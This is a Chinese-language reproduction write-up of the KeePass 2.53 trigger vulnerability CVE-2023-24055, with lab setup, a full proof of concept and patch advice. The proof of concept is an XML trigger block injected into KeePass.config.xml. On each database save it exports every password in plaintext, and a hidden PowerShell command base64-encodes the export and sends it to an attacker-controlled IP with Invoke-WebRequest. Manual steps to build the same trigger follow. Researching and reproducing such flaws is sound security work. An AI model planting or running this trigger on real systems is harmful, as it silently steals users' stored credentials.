一、漏洞描述 漏洞简述 KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。 对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。 漏洞影响范围 供应商:KeePass 产品:KeePass Password Safe 2 确认受影响版本:KeePass 2.53版本 修复版本:KeePass 2.53.1版本 二、漏洞复现实战 环境搭建 Step 1 KeePass 2.53 下载地址:https://keepass.info/ Step 2 KeePass翻译语言包 下载地址:https://keepass.info/translations.html 将语言包文件复制至安装路径下“Languages”文件夹下 在KeePass中进入语言设置,切换语言 漏洞复现 根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。 创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式: (1)POC写入配置文件 将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。 其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。 利用powershell以GET方式传输数据库中密码文件。 POC: <TriggerSystem> <Triggers> <Trigger> <Guid>lztpSRd56EuYtwwqntH7TQ==</Guid> <Name>exploit</Name> <Events> <Event> <TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> <Parameters> <Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter> <Parameter>KeePass XML (2.x)</Parameter> <Parameter /> <Parameter /> </Parameters> </Action> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>PowerShell.exe</Parameter> <Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter> <Parameter>False</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions> </Trigger> </Triggers> </TriggerSystem> 保存KeePass.config.xml文件,触发器功能查看exploit触发器 (2)通过触发器功能手工创建触发器 以官方触发器构成为参考 https://keepass.info/help/kb/trigger_examples.htmlexploit触发器配置如下: 属性项:命名为exploit,其余默认配置 事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等) 条件项:为空 操作项: 导出当前数据库 文件路径为上述文件传输路径 文件格式选择 KeePass XML (2.x) 执行命令行/URL 文件路径为PowerShell.exe ,使触发器执行PowerShell 参数选择攻击接收的路径 窗口方式选择Hidden 完成创建,可以看到exploit触发器 在攻击机 创建web服务,后续接收传输后的密码明文; 在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息 进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。 漏洞修复 建议更新至KeePass 2.53.1 版本 结束语 本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。